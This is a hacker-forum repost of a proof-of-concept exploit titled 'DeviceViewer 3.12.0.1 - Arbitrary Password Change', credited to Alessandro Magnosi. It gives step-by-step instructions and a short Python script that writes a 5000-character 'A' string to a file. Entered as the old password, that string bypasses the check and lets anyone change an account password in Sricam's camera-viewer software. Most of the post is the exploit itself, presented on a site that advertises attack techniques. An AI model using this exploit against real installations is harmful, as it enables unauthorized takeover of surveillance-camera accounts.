跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

DeviceViewer 3.12.0.1 - Arbitrary Password Change

精选回复

发布于
# Exploit Title: DeviceViewer 3.12.0.1 - Arbitrary Password Change
# Date: 2019-09-10
# Exploit Author: Alessandro Magnosi
# Vendor Homepage: http://www.sricam.com/
# Software Link: http://download.sricam.com/Manual/DeviceViewer.exe
# Version: v3.12.0.1
# Tested on: Windows 7

#!/usr/bin/python

# Steps to reproduce:
#   1. Generate the payload executing the PoC
#   2. Login in the Sricam DeviceViewer application as any registered user
#   3. Go to System Tools -> Change Password
#   4. Set the old password as the malicious payload, and the new password as whatever you want
#   5. The password will be changed with the new one
#   6. To confirm, restart the application and try to login with the new password

payload = "A" * 5000

try:
	bypass = open("bypass.txt","w")
	print("### Sricam DeviceViewer 3.12.0.1 Change Password Security Bypass")
	print("### Author: Alessandro Magnosi\n")
	print("[*] Creating old password file")
	bypass.write(payload)
	bypass.close()
	print("[+] Old password file created\n")
	print("[i] When changing password, set the old password to the file contents")
	print("[i] Close the program and reopen it")
	print("[i] Log in with new password")
except:
	print("[!] Error creating the file")
            

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。